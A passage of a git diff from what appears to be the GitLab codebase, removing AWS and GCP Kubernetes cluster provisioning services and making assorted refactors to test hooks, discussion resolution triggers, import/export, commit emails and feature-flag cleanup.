- provider.make_errored!(s_('ClusterIntegration|Failed to fetch CloudFormation stack: %{message}') % { message: e.message })
- rescue Kubeclient::HttpError => e
- log_service_error(e.class.name, provider.id, e.message)
- provider.make_errored!(s_('ClusterIntegration|Failed to run Kubeclient: %{message}') % { message: e.message })
- rescue ActiveRecord::RecordInvalid => e
- log_service_error(e.class.name, provider.id, e.message)
- provider.make_errored!(s_('ClusterIntegration|Failed to configure EKS provider: %{message}') % { message: e.message })
- end
-
- private
-
- def create_gitlab_service_account!
- Clusters::Kubernetes::CreateOrUpdateServiceAccountService.gitlab_creator(
- kube_client,
- rbac: true
- ).execute
- end
-
- def configure_provider
- provider.status_event = :make_created
- end
-
- def configure_platform_kubernetes
- cluster.build_platform_kubernetes(
- api_url: cluster_endpoint,
- ca_cert: cluster_certificate,
- token: request_kubernetes_token)
- end
-
- def request_kubernetes_token
- Clusters::Kubernetes::FetchKubernetesTokenService.new(
- kube_client,
- Clusters::Kubernetes::GITLAB_ADMIN_TOKEN_NAME,
- Clusters::Kubernetes::GITLAB_SERVICE_ACCOUNT_NAMESPACE
- ).execute
- end
-
- def kube_client
- @kube_client ||= build_kube_client!(
- cluster_endpoint,
- cluster_certificate
- )
- end
-
- def build_kube_client!(api_url, ca_pem)
- raise "Incomplete settings" unless api_url
-
- Gitlab::Kubernetes::KubeClient.new(
- api_url,
- auth_options: kubeclient_auth_options,
- ssl_options: kubeclient_ssl_options(ca_pem),
- http_proxy_uri: ENV['http_proxy']
- )
- end
-
- def kubeclient_auth_options
- { bearer_token: Kubeclient::AmazonEksCredentials.token(provider.credentials, cluster.name) }
- end
-
- def kubeclient_ssl_options(ca_pem)
- opts = { verify_ssl: OpenSSL::SSL::VERIFY_PEER }
-
- if ca_pem.present?
- opts[:cert_store] = OpenSSL::X509::Store.new
- opts[:cert_store].add_cert(OpenSSL::X509::Certificate.new(ca_pem))
- end
-
- opts
- end
-
- def cluster_stack
- @cluster_stack ||= provider.api_client.describe_stacks(stack_name: provider.cluster.name).stacks.first
- end
-
- def stack_output_value(key)
- cluster_stack.outputs.detect { |output| output.output_key == key }.output_value
- end
-
- def node_instance_role_arn
- stack_output_value('NodeInstanceRole')
- end
-
- def cluster_endpoint
- strong_memoize(:cluster_endpoint) do
- stack_output_value('ClusterEndpoint')
- end
- end
-
- def cluster_certificate
- strong_memoize(:cluster_certificate) do
- Base64.decode64(stack_output_value('ClusterCertificate'))
- end
- end
-
- def configure_node_authentication!
- kube_client.create_config_map(node_authentication_config)
- end
-
- def node_authentication_config
- Gitlab::Kubernetes::ConfigMaps::AwsNodeAuth.new(node_instance_role_arn).generate
- end
-
- def logger
- @logger ||= Gitlab::Kubernetes::Logger.build
- end
-
- def log_service_error(exception, provider_id, message)
- logger.error(
- exception: exception.class.name,
- service: self.class.name,
- provider_id: provider_id,
- message: message
- )
- end
- end
- end
-end
diff --git a/app/services/clusters/aws/provision_service.rb b/app/services/clusters/aws/provision_service.rb
deleted file mode 100644
index b454a7a5f59..00000000000
--- a/app/services/clusters/aws/provision_service.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Aws
- class ProvisionService
- attr_reader :provider
-
- def execute(provider)
- @provider = provider
-
- configure_provider_credentials
- provision_cluster
-
- if provider.make_creating
- WaitForClusterCreationWorker.perform_in(
- Clusters::Aws::VerifyProvisionStatusService::INITIAL_INTERVAL,
- provider.cluster_id
- )
- else
- provider.make_errored!("Failed to update provider record; #{provider.errors.full_messages}")
- end
- rescue Clusters::Aws::FetchCredentialsService::MissingRoleError
- provider.make_errored!('Amazon role is not configured')
- rescue ::Aws::Errors::MissingCredentialsError
- provider.make_errored!('Amazon credentials are not configured')
- rescue ::Aws::STS::Errors::ServiceError => e
- provider.make_errored!("Amazon authentication failed; #{e.message}")
- rescue ::Aws::CloudFormation::Errors::ServiceError => e
- provider.make_errored!("Amazon CloudFormation request failed; #{e.message}")
- end
-
- private
-
- def provision_role
- provider.created_by_user&.aws_role
- end
-
- def credentials
- @credentials ||= Clusters::Aws::FetchCredentialsService.new(
- provision_role,
- provider: provider
- ).execute
- end
-
- def configure_provider_credentials
- provider.update!(
- access_key_id: credentials.access_key_id,
- secret_access_key: credentials.secret_access_key,
- session_token: credentials.session_token
- )
- end
-
- def provision_cluster
- provider.api_client.create_stack(
- stack_name: provider.cluster.name,
- template_body: stack_template,
- parameters: parameters,
- capabilities: ["CAPABILITY_IAM"]
- )
- end
-
- def parameters
- [
- parameter('ClusterName', provider.cluster.name),
- parameter('ClusterRole', provider.role_arn),
- parameter('KubernetesVersion', provider.kubernetes_version),
- parameter('ClusterControlPlaneSecurityGroup', provider.security_group_id),
- parameter('VpcId', provider.vpc_id),
- parameter('Subnets', provider.subnet_ids.join(',')),
- parameter('NodeAutoScalingGroupDesiredCapacity', provider.num_nodes.to_s),
- parameter('NodeInstanceType', provider.instance_type),
- parameter('KeyName', provider.key_name)
- ]
- end
-
- def parameter(key, value)
- { parameter_key: key, parameter_value: value }
- end
-
- def stack_template
- File.read(Rails.root.join('vendor', 'aws', 'cloudformation', 'eks_cluster.yaml'))
- end
- end
- end
-end
diff --git a/app/services/clusters/aws/verify_provision_status_service.rb b/app/services/clusters/aws/verify_provision_status_service.rb
deleted file mode 100644
index 99532662bc4..00000000000
--- a/app/services/clusters/aws/verify_provision_status_service.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Aws
- class VerifyProvisionStatusService
- attr_reader :provider
-
- INITIAL_INTERVAL = 5.minutes
- POLL_INTERVAL = 1.minute
- TIMEOUT = 30.minutes
-
- def execute(provider)
- @provider = provider
-
- case cluster_stack.stack_status
- when 'CREATE_IN_PROGRESS'
- continue_creation
- when 'CREATE_COMPLETE'
- finalize_creation
- else
- provider.make_errored!("Unexpected status; #{cluster_stack.stack_status}")
- end
- rescue ::Aws::CloudFormation::Errors::ServiceError => e
- provider.make_errored!("Amazon CloudFormation request failed; #{e.message}")
- end
-
- private
-
- def cluster_stack
- @cluster_stack ||= provider.api_client.describe_stacks(stack_name: provider.cluster.name).stacks.first
- end
-
- def continue_creation
- if timeout_threshold.future?
- WaitForClusterCreationWorker.perform_in(POLL_INTERVAL, provider.cluster_id)
- else
- provider.make_errored!(_('Kubernetes cluster creation time exceeds timeout; %{timeout}') % { timeout: TIMEOUT })
- end
- end
-
- def timeout_threshold
- cluster_stack.creation_time + TIMEOUT
- end
-
- def finalize_creation
- Clusters::Aws::FinalizeCreationService.new.execute(provider)
- end
- end
- end
-end
diff --git a/app/services/clusters/create_service.rb b/app/services/clusters/create_service.rb
index cb2de8b943c..4c7384806ad 100644
--- a/app/services/clusters/create_service.rb
+++ b/app/services/clusters/create_service.rb
@@ -24,9 +24,7 @@ module Clusters
return cluster if cluster.errors.present?
- cluster.tap do |cluster|
- cluster.save && ClusterProvisionWorker.perform_async(cluster.id)
- end
+ cluster.tap(&:save)
end
private
diff --git a/app/services/clusters/gcp/fetch_operation_service.rb b/app/services/clusters/gcp/fetch_operation_service.rb
deleted file mode 100644
index 6c648b443a0..00000000000
--- a/app/services/clusters/gcp/fetch_operation_service.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Gcp
- class FetchOperationService
- def execute(provider)
- operation = provider.api_client.projects_zones_operations(
- provider.gcp_project_id,
- provider.zone,
- provider.operation_id)
-
- yield(operation) if block_given?
- rescue Google::Apis::ServerError, Google::Apis::ClientError, Google::Apis::AuthorizationError => e
- logger.error(
- exception: e.class.name,
- service: self.class.name,
- provider_id: provider.id,
- message: e.message
- )
-
- provider.make_errored!("Failed to request to CloudPlatform; #{e.message}")
- end
-
- private
-
- def logger
- @logger ||= Gitlab::Kubernetes::Logger.build
- end
- end
- end
-end
diff --git a/app/services/clusters/gcp/finalize_creation_service.rb b/app/services/clusters/gcp/finalize_creation_service.rb
deleted file mode 100644
index 73d6fc4dc8f..00000000000
--- a/app/services/clusters/gcp/finalize_creation_service.rb
+++ /dev/null
@@ -1,127 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Gcp
- class FinalizeCreationService
- attr_reader :provider
-
- def execute(provider)
- @provider = provider
-
- configure_provider
- create_gitlab_service_account!
- configure_kubernetes
- configure_pre_installed_knative if provider.knative_pre_installed?
- cluster.save!
- rescue Google::Apis::ServerError, Google::Apis::ClientError, Google::Apis::AuthorizationError => e
- log_service_error(e.class.name, provider.id, e.message)
- provider.make_errored!(s_('ClusterIntegration|Failed to request to Google Cloud Platform: %{message}') % { message: e.message })
- rescue Kubeclient::HttpError => e
- log_service_error(e.class.name, provider.id, e.message)
- provider.make_errored!(s_('ClusterIntegration|Failed to run Kubeclient: %{message}') % { message: e.message })
- rescue ActiveRecord::RecordInvalid => e
- log_service_error(e.class.name, provider.id, e.message)
- provider.make_errored!(s_('ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}') % { message: e.message })
- end
-
- private
-
- def create_gitlab_service_account!
- Clusters::Kubernetes::CreateOrUpdateServiceAccountService.gitlab_creator(
- kube_client,
- rbac: create_rbac_cluster?
- ).execute
- end
-
- def configure_provider
- provider.endpoint = gke_cluster.endpoint
- provider.status_event = :make_created
- end
-
- def configure_kubernetes
- cluster.platform_type = :kubernetes
- cluster.build_platform_kubernetes(
- api_url: 'https://' + gke_cluster.endpoint,
- ca_cert: Base64.decode64(gke_cluster.master_auth.cluster_ca_certificate),
- authorization_type: authorization_type,
- token: request_kubernetes_token)
- end
-
- def configure_pre_installed_knative
- knative = cluster.build_application_knative(
- hostname: 'example.com'
- )
- knative.make_pre_installed!
- end
-
- def request_kubernetes_token
- Clusters::Kubernetes::FetchKubernetesTokenService.new(
- kube_client,
- Clusters::Kubernetes::GITLAB_ADMIN_TOKEN_NAME,
- Clusters::Kubernetes::GITLAB_SERVICE_ACCOUNT_NAMESPACE
- ).execute
- end
-
- def authorization_type
- create_rbac_cluster? ? 'rbac' : 'abac'
- end
-
- def create_rbac_cluster?
- !provider.legacy_abac?
- end
-
- def kube_client
- @kube_client ||= build_kube_client!(
- 'https://' + gke_cluster.endpoint,
- Base64.decode64(gke_cluster.master_auth.cluster_ca_certificate)
- )
- end
-
- def build_kube_client!(api_url, ca_pem)
- raise "Incomplete settings" unless api_url
-
- Gitlab::Kubernetes::KubeClient.new(
- api_url,
- auth_options: { bearer_token: provider.access_token },
- ssl_options: kubeclient_ssl_options(ca_pem),
- http_proxy_uri: ENV['http_proxy']
- )
- end
-
- def kubeclient_ssl_options(ca_pem)
- opts = { verify_ssl: OpenSSL::SSL::VERIFY_PEER }
-
- if ca_pem.present?
- opts[:cert_store] = OpenSSL::X509::Store.new
- opts[:cert_store].add_cert(OpenSSL::X509::Certificate.new(ca_pem))
- end
-
- opts
- end
-
- def gke_cluster
- @gke_cluster ||= provider.api_client.projects_zones_clusters_get(
- provider.gcp_project_id,
- provider.zone,
- cluster.name)
- end
-
- def cluster
- @cluster ||= provider.cluster
- end
-
- def logger
- @logger ||= Gitlab::Kubernetes::Logger.build
- end
-
- def log_service_error(exception, provider_id, message)
- logger.error(
- exception: exception.class.name,
- service: self.class.name,
- provider_id: provider_id,
- message: message
- )
- end
- end
- end
-end
diff --git a/app/services/clusters/gcp/provision_service.rb b/app/services/clusters/gcp/provision_service.rb
deleted file mode 100644
index 7dc2d3c32f1..00000000000
--- a/app/services/clusters/gcp/provision_service.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Gcp
- class ProvisionService
- CLOUD_RUN_ADDONS = %i[http_load_balancing istio_config cloud_run_config].freeze
-
- attr_reader :provider
-
- def execute(provider)
- @provider = provider
-
- get_operation_id do |operation_id|
- if provider.make_creating(operation_id)
- WaitForClusterCreationWorker.perform_in(
- Clusters::Gcp::VerifyProvisionStatusService::INITIAL_INTERVAL,
- provider.cluster_id)
- else
- provider.make_errored!("Failed to update provider record; #{provider.errors}")
- end
- end
- end
-
- private
-
- def get_operation_id
- enable_addons = provider.cloud_run? ? CLOUD_RUN_ADDONS : []
-
- operation = provider.api_client.projects_zones_clusters_create(
- provider.gcp_project_id,
- provider.zone,
- provider.cluster.name,
- provider.num_nodes,
- machine_type: provider.machine_type,
- legacy_abac: provider.legacy_abac,
- enable_addons: enable_addons
- )
-
- unless operation.status == 'PENDING' || operation.status == 'RUNNING'
- return provider.make_errored!("Operation status is unexpected; #{operation.status_message}")
- end
-
- operation_id = provider.api_client.parse_operation_id(operation.self_link)
-
- unless operation_id
- return provider.make_errored!('Can not find operation_id from self_link')
- end
-
- yield(operation_id)
-
- rescue Google::Apis::ServerError, Google::Apis::ClientError, Google::Apis::AuthorizationError => e
- provider.make_errored!("Failed to request to CloudPlatform; #{e.message}")
- end
- end
- end
-end
diff --git a/app/services/clusters/gcp/verify_provision_status_service.rb b/app/services/clusters/gcp/verify_provision_status_service.rb
deleted file mode 100644
index ddb2832aae6..00000000000
--- a/app/services/clusters/gcp/verify_provision_status_service.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Gcp
- class VerifyProvisionStatusService
- attr_reader :provider
-
- INITIAL_INTERVAL = 2.minutes
- EAGER_INTERVAL = 10.seconds
- TIMEOUT = 20.minutes
-
- def execute(provider)
- @provider = provider
-
- request_operation do |operation|
- case operation.status
- when 'PENDING', 'RUNNING'
- continue_creation(operation)
- when 'DONE'
- finalize_creation
- else
- provider.make_errored!("Unexpected operation status; #{operation.status} #{operation.status_message}")
- end
- end
- end
-
- private
-
- def continue_creation(operation)
- if elapsed_time_from_creation(operation) < TIMEOUT
- WaitForClusterCreationWorker.perform_in(EAGER_INTERVAL, provider.cluster_id)
- else
- provider.make_errored!(_('Kubernetes cluster creation time exceeds timeout; %{timeout}') % { timeout: TIMEOUT })
- end
- end
-
- def elapsed_time_from_creation(operation)
- Time.current.utc - operation.start_time.to_time.utc
- end
-
- def finalize_creation
- Clusters::Gcp::FinalizeCreationService.new.execute(provider)
- end
-
- def request_operation(&blk)
- Clusters::Gcp::FetchOperationService.new.execute(provider, &blk)
- end
- end
- end
-end
diff --git a/app/services/concerns/integrations/project_test_data.rb b/app/services/concerns/integrations/project_test_data.rb
index ae1e1d1e66c..b3427697052 100644
--- a/app/services/concerns/integrations/project_test_data.rb
+++ b/app/services/concerns/integrations/project_test_data.rb
@@ -2,8 +2,14 @@
module Integrations
module ProjectTestData
+ NoDataError = Class.new(ArgumentError)
+
private
+ def no_data_error(msg)
+ raise NoDataError, msg
+ end
+
def push_events_data
Gitlab::DataBuilder::Push.build_sample(project, current_user)
end
@@ -11,7 +17,7 @@ module Integrations
def note_events_data
note = NotesFinder.new(current_user, project: project, target: project, sort: 'id_desc').execute.first
- return { error: s_('TestHooks|Ensure the project has notes.') } unless note.present?
+ no_data_error(s_('TestHooks|Ensure the project has notes.')) unless note.present?
Gitlab::DataBuilder::Note.build(note, current_user)
end
@@ -19,7 +25,7 @@ module Integrations
def issues_events_data
issue = IssuesFinder.new(current_user, project_id: project.id, sort: 'created_desc').execute.first
- return { error: s_('TestHooks|Ensure the project has issues.') } unless issue.present?
+ no_data_error(s_('TestHooks|Ensure the project has issues.')) unless issue.present?
issue.to_hook_data(current_user)
end
@@ -27,7 +33,7 @@ module Integrations
def merge_requests_events_data
merge_request = MergeRequestsFinder.new(current_user, project_id: project.id, sort: 'created_desc').execute.first
- return { error: s_('TestHooks|Ensure the project has merge requests.') } unless merge_request.present?
+ no_data_error(s_('TestHooks|Ensure the project has merge requests.')) unless merge_request.present?
merge_request.to_hook_data(current_user)
end
@@ -35,7 +41,7 @@ module Integrations
def job_events_data
build = Ci::JobsFinder.new(current_user: current_user, project: project).execute.first
- return { error: s_('TestHooks|Ensure the project has CI jobs.') } unless build.present?
+ no_data_error(s_('TestHooks|Ensure the project has CI jobs.')) unless build.present?
Gitlab::DataBuilder::Build.build(build)
end
@@ -43,7 +49,7 @@ module Integrations
def pipeline_events_data
pipeline = Ci::PipelinesFinder.new(project, current_user, order_by: 'id', sort: 'desc').execute.first
- return { error: s_('TestHooks|Ensure the project has CI pipelines.') } unless pipeline.present?
+ no_data_error(s_('TestHooks|Ensure the project has CI pipelines.')) unless pipeline.present?
Gitlab::DataBuilder::Pipeline.build(pipeline)
end
@@ -51,9 +57,7 @@ module Integrations
def wiki_page_events_data
page = project.wiki.list_pages(limit: 1).first
- if !project.wiki_enabled? || page.blank?
- return { error: s_('TestHooks|Ensure the wiki is enabled and has pages.') }
- end
+ no_data_error(s_('TestHooks|Ensure the wiki is enabled and has pages.')) if !project.wiki_enabled? || page.blank?
Gitlab::DataBuilder::WikiPage.build(page, current_user, 'create')
end
@@ -61,7 +65,7 @@ module Integrations
def deployment_events_data
deployment = DeploymentsFinder.new(project: project, order_by: 'created_at', sort: 'desc').execute.first
- return { error: s_('TestHooks|Ensure the project has deployments.') } unless deployment.present?
+ no_data_error(s_('TestHooks|Ensure the project has deployments.')) unless deployment.present?
Gitlab::DataBuilder::Deployment.build(deployment, deployment.status, Time.current)
end
@@ -69,7 +73,7 @@ module Integrations
def releases_events_data
release = ReleasesFinder.new(project, current_user, order_by: :created_at, sort: :desc).execute.first
- return { error: s_('TestHooks|Ensure the project has releases.') } unless release.present?
+ no_data_error(s_('TestHooks|Ensure the project has releases.')) unless release.present?
release.to_hook_data('create')
end
diff --git a/app/services/design_management/save_designs_service.rb b/app/services/design_management/save_designs_service.rb
index 64537293e65..ea5675c6ddd 100644
--- a/app/services/design_management/save_designs_service.rb
+++ b/app/services/design_management/save_designs_service.rb
@@ -113,7 +113,7 @@ module DesignManagement
def file_content(file, full_path)
transformer = ::Lfs::FileTransformer.new(project, repository, target_branch)
- transformer.new_file(full_path, file.to_io).content
+ transformer.new_file(full_path, file.to_io, detect_content_type: Feature.enabled?(:design_management_allow_dangerous_images, project)).content
end
# Returns the latest blobs for the designs as a Hash of `{ Design => Blob }`
diff --git a/app/services/discussions/resolve_service.rb b/app/services/discussions/resolve_service.rb
index baf14aa8a03..54fc452ac85 100644
--- a/app/services/discussions/resolve_service.rb
+++ b/app/services/discussions/resolve_service.rb
@@ -17,7 +17,8 @@ module Discussions
def execute
discussions.each(&method(:resolve_discussion))
- process_auto_merge
+
+ after_resolve_cleanup
end
private
@@ -67,9 +68,19 @@ module Discussions
end
end
- def process_auto_merge
+ def after_resolve_cleanup
return unless merge_request
return unless @resolved_count > 0
+
+ send_graphql_triggers
+ process_auto_merge
+ end
+
+ def send_graphql_triggers
+ GraphqlTriggers.merge_request_merge_status_updated(merge_request)
+ end
+
+ def process_auto_merge
return unless discussions_ready_to_merge?
AutoMergeProcessWorker.perform_async(merge_request.id)
diff --git a/app/services/discussions/unresolve_service.rb b/app/services/discussions/unresolve_service.rb
index fbd96ceafe7..f6685b79a33 100644
--- a/app/services/discussions/unresolve_service.rb
+++ b/app/services/discussions/unresolve_service.rb
@@ -12,10 +12,27 @@ module Discussions
end
def execute
+ @all_discussions_resolved_before = merge_request ? @discussion.noteable.discussions_resolved? : false
+
@discussion.unresolve!
+ send_graphql_triggers
+
Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter
.track_unresolve_thread_action(user: @user)
end
+
+ private
+
+ def merge_request
+ @discussion.noteable if @discussion.for_merge_request?
+ end
+ strong_memoize_attr :merge_request
+
+ def send_graphql_triggers
+ return unless merge_request && @all_discussions_resolved_before
+
+ GraphqlTriggers.merge_request_merge_status_updated(merge_request)
+ end
end
end
diff --git a/app/services/draft_notes/publish_service.rb b/app/services/draft_notes/publish_service.rb
index a82a6e22a5a..fab7a227e7d 100644
--- a/app/services/draft_notes/publish_service.rb
+++ b/app/services/draft_notes/publish_service.rb
@@ -34,7 +34,12 @@ module DraftNotes
created_notes = draft_notes.map do |draft_note|
draft_note.review = review
- create_note_from_draft(draft_note, skip_capture_diff_note_position: true, skip_keep_around_commits: true)
+ create_note_from_draft(
+ draft_note,
+ skip_capture_diff_note_position: true,
+ skip_keep_around_commits: true,
+ skip_merge_status_trigger: true
+ )
end
capture_diff_note_positions(created_notes)
@@ -43,16 +48,18 @@ module DraftNotes
set_reviewed
notification_service.async.new_review(review)
MergeRequests::ResolvedDiscussionNotificationService.new(project: project, current_user: current_user).execute(merge_request)
+ GraphqlTriggers.merge_request_merge_status_updated(merge_request)
end
- def create_note_from_draft(draft, skip_capture_diff_note_position: false, skip_keep_around_commits: false)
+ def create_note_from_draft(draft, skip_capture_diff_note_position: false, skip_keep_around_commits: false, skip_merge_status_trigger: false)
# Make sure the diff file is unfolded in order to find the correct line
# codes.
draft.diff_file&.unfold_diff_lines(draft.original_position)
note_params = draft.publish_params.merge(skip_keep_around_commits: skip_keep_around_commits)
note = Notes::CreateService.new(draft.project, draft.author, note_params).execute(
- skip_capture_diff_note_position: skip_capture_diff_note_position
+ skip_capture_diff_note_position: skip_capture_diff_note_position,
+ skip_merge_status_trigger: skip_merge_status_trigger
)
set_discussion_resolve_status(note, draft)
diff --git a/app/services/environments/stop_stale_service.rb b/app/services/environments/stop_stale_service.rb
new file mode 100644
index 00000000000..7b7032cb670
--- /dev/null
+++ b/app/services/environments/stop_stale_service.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Environments
+ class StopStaleService < BaseService
+ def execute
+ return ServiceResponse.error(message: 'Before date must be provided') unless params[:before].present?
+
+ return ServiceResponse.error(message: 'Unauthorized') unless can?(current_user, :stop_environment, project)
+
+ Environment.available
+ .deployed_and_updated_before(project.id, params[:before])
+ .without_protected(project)
+ .in_batches(of: 100) do |env_batch| # rubocop:disable Cop/InBatches
+ Environments::AutoStopWorker.bulk_perform_async_with_contexts(
+ env_batch,
+ arguments_proc: ->(environment) { environment.id },
+ context_proc: ->(environment) { { project: project } }
+ )
+ end
+
+ ServiceResponse.success(message: 'Successfully requested stop for all stale environments')
+ end
+ end
+end
diff --git a/app/services/files/base_service.rb b/app/services/files/base_service.rb
index 1055f5ff088..8f722de2019 100644
--- a/app/services/files/base_service.rb
+++ b/app/services/files/base_service.rb
@@ -9,7 +9,7 @@ module Files
git_user = Gitlab::Git::User.from_gitlab(current_user) if current_user.present?
- @author_email = params[:author_email] || git_user&.email
+ @author_email = commit_email(git_user)
@author_name = params[:author_name] || git_user&.name
@commit_message = params[:commit_message]
@last_commit_sha = params[:last_commit_sha]
@@ -33,5 +33,18 @@ module Files
last_commit.sha != commit_id
end
+
+ private
+
+ def commit_email(git_user)
+ return params[:author_email] if params[:author_email].present?
+ return unless current_user
+
+ namespace_commit_email = current_user.namespace_commit_email_for_project(@start_project)
+
+ return namespace_commit_email.email.email if namespace_commit_email
+
+ git_user.email
+ end
end
end
diff --git a/app/services/git/branch_hooks_service.rb b/app/services/git/branch_hooks_service.rb
index 71dd9501648..6087efce9fd 100644
--- a/app/services/git/branch_hooks_service.rb
+++ b/app/services/git/branch_hooks_service.rb
@@ -165,14 +165,11 @@ module Git
end
def signature_types
- types = [
+ [
::CommitSignatures::GpgSignature,
- ::CommitSignatures::X509CommitSignature
+ ::CommitSignatures::X509CommitSignature,
+ ::CommitSignatures::SshSignature
]
-
- types.push(::CommitSignatures::SshSignature) if Feature.enabled?(:ssh_commit_signatures, project)
-
- types
end
def unsigned_commit_shas(commits)
diff --git a/app/services/groups/import_export/export_service.rb b/app/services/groups/import_export/export_service.rb
index bd54b48c5f4..2d88283661c 100644
--- a/app/services/groups/import_export/export_service.rb
+++ b/app/services/groups/import_export/export_service.rb
@@ -71,7 +71,7 @@ module Groups
end
def tree_exporter
- tree_exporter_class.new(
+ Gitlab::ImportExport::Group::TreeSaver.new(
group: group,
current_user: current_user,
shared: shared,
@@ -79,18 +79,6 @@ module Groups
)
end
- def tree_exporter_class
- if ndjson?
- Gitlab::ImportExport::Group::TreeSaver
- else
- Gitlab::ImportExport::Group::LegacyTreeSaver
- end
- end
-
- def ndjson?
- ::Feature.enabled?(:group_export_ndjson, group&.parent)
- end
-
def version_saver
Gitlab::ImportExport::VersionSaver.new(shared: shared)
end
diff --git a/app/services/groups/import_export/import_service.rb b/app/services/groups/import_export/import_service.rb
index ac181245986..15948ab82a2 100644
--- a/app/services/groups/import_export/import_service.rb
+++ b/app/services/groups/import_export/import_service.rb
@@ -29,7 +29,7 @@ module Groups
def execute
Gitlab::Tracking.event(self.class.name, 'create', label: 'import_group_from_file')
- if valid_user_permissions? && import_file && restorers.all?(&:restore)
+ if valid_user_permissions? && import_file && valid_import_file? && restorers.all?(&:restore)
notify_success
Gitlab::Tracking.event(
@@ -75,25 +75,11 @@ module Groups
def tree_restorer
@tree_restorer ||=
- if ndjson?
- Gitlab::ImportExport::Group::TreeRestorer.new(
- user: current_user,
- shared: shared,
- group: group
- )
- else
- Gitlab::ImportExport::Group::LegacyTreeRestorer.new(
- user: current_user,
- shared: shared,
- group: group,
- group_hash: nil
- )
- end
- end
-
- def ndjson?
- ::Feature.enabled?(:group_import_ndjson, group&.parent) &&
- File.exist?(File.join(shared.export_path, 'tree/groups/_all.ndjson'))
+ Gitlab::ImportExport::Group::TreeRestorer.new(
+ user: current_user,
+ shared: shared,
+ group: group
+ )
end
def remove_import_file
@@ -115,6 +101,14 @@ module Groups
end
end
+ def valid_import_file?
+ return true if File.exist?(File.join(shared.export_path, 'tree/groups/_all.ndjson'))
+
+ shared.error(::Gitlab::ImportExport::Error.incompatible_import_file_error)
+
+ false
+ end
+
def notify_success
@logger.info(
group_id: group.id,
diff --git a/app/services/groups/transfer_service.rb b/app/services/groups/transfer_service.rb
index 6fbf7daeb81..0a9705181ba 100644
--- a/app/services/groups/transfer_service.rb
+++ b/app/services/groups/transfer_service.rb
@@ -34,6 +34,7 @@ module Groups
update_integrations
remove_issue_contacts(old_root_ancestor_id, was_root_group)
update_crm_objects(was_root_group)
+ remove_namespace_commit_emails(was_root_group)
end
post_update_hooks(@updated_project_ids, old_root_ancestor_id)
@@ -279,6 +280,10 @@ module Groups
Gitlab::EventStore.publish(event)
end
+
+ def remove_namespace_commit_emails(was_root_group)
+ Users::NamespaceCommitEmail.delete_for_namespace(@group) if was_root_group
+ end
end
end
diff --git a/app/services/ide/schemas_config_service.rb b/app/services/ide/schemas_config_service.rb
index a013a4679b5..5292f15dc37 100644
--- a/app/services/ide/schemas_config_service.rb
+++ b/app/services/ide/schemas_config_service.rb
@@ -33,9 +33,7 @@ module Ide
end
def predefined_schemas
- return PREDEFINED_SCHEMAS if Feature.enabled?(:schema_linting)
-
- []
+ PREDEFINED_SCHEMAS
end
def get_cached(url)
diff --git a/app/services/import/github/gists_import_service.rb b/app/services/import/github/gists_import_service.rb
index df1bbe306e7..e57430916fa 100644
--- a/app/services/import/github/gists_import_service.rb
+++ b/app/services/import/github/gists_import_service.rb
@@ -3,16 +3,20 @@
module Import
module Github
class GistsImportService < ::BaseService
- def initialize(user, params)
+ def initialize(user, client, params)
@current_user = user
@params = params
+ @client = client
end
def execute
return error('Import already in progress', 422) if import_status.started?
+ check_user_token
start_import
success
+ rescue Octokit::Unauthorized
+ error('Access denied to the GitHub account.', 401)
end
private
@@ -29,6 +33,10 @@ module Import
Gitlab::GithubGistsImport::StartImportWorker.perform_async(current_user.id, encrypted_token)
import_status.start!
end
+
+ def check_user_token
+ @client.octokit.user.present?
+ end
end
end
end
diff --git a/app/services/import/github_service.rb b/app/services/import/github_service.rb
index 2378a4b11b1..b30c344723d 100644
--- a/app/services/import/github_service.rb
+++ b/app/services/import/github_service.rb
@@ -46,12 +46,8 @@ module Import
@project_name ||= params[:new_name].presence || repo[:name]
end
- def namespace_path
- @namespace_path ||= params[:target_namespace].presence || current_user.namespace_path
- end
-
def target_namespace
- @target_namespace ||= find_or_create_namespace(namespace_path, current_user.namespace_path)
+ @target_namespace ||= Namespace.find_by_full_path(target_namespace_path)
end
def extra_project_attrs
@@ -104,6 +100,8 @@ module Import
def validate_context
if blocked_url?
log_and_return_error("Invalid URL: #{url}", _("Invalid URL: %{url}") % { url: url }, :bad_request)
+ elsif target_namespace.nil?
+ error(_('Namespace or group to import repository into does not exist.'), :unprocessable_entity)
elsif !authorized?
error(_('This namespace has already been taken. Choose a different one.'), :unprocessable_entity)
elsif oversized?
@@ -111,6 +109,12 @@ module Import
end
end
+ def target_namespace_path
+ raise ArgumentError, 'Target namespace is required' if params[:target_namespace].blank?
+
+ params[:target_namespace]
+ end
+
def log_error(exception)
Gitlab::GithubImport::Logger.error(
message: 'Import failed due to a GitHub error',
diff --git a/app/services/integrations/test/base_service.rb b/app/services/integrations/test/base_service.rb
index a8a027092d5..6291f2dfbaa 100644
--- a/app/services/integrations/test/base_service.rb
+++ b/app/services/integrations/test/base_service.rb
@@ -21,9 +21,9 @@ module Integrations
return error('Testing not available for this event')
end
- return error(data[:error]) if data[:error].present?
-
integration.test(data)
+ rescue ArgumentError => e
+ error(e.message)
end
private
diff --git a/app/services/issuable/discussions_list_service.rb b/app/services/issuable/discussions_list_service.rb
index 1e5e37e4e1b..10e7660289b 100644
--- a/app/services/issuable/discussions_list_service.rb
+++ b/app/services/issuable/discussions_list_service.rb
@@ -19,7 +19,7 @@ module Issuable
return Note.none unless can_read_issuable_notes?
notes = NotesFinder.new(current_user, params.merge({ target: issuable, project: issuable.project }))
- .execute.with_web_entity_associations.inc_relations_for_view.fresh
+ .execute.with_web_entity_associations.inc_relations_for_view(issuable).fresh
if paginator
paginated_discussions_by_type = paginator.records.group_by(&:table_name)
@@ -49,7 +49,6 @@ module Issuable
def paginator
return if params[:per_page].blank?
- return if issuable.instance_of?(MergeRequest) && Feature.disabled?(:paginated_mr_discussions, issuable.project)
strong_memoize(:paginator) do
issuable
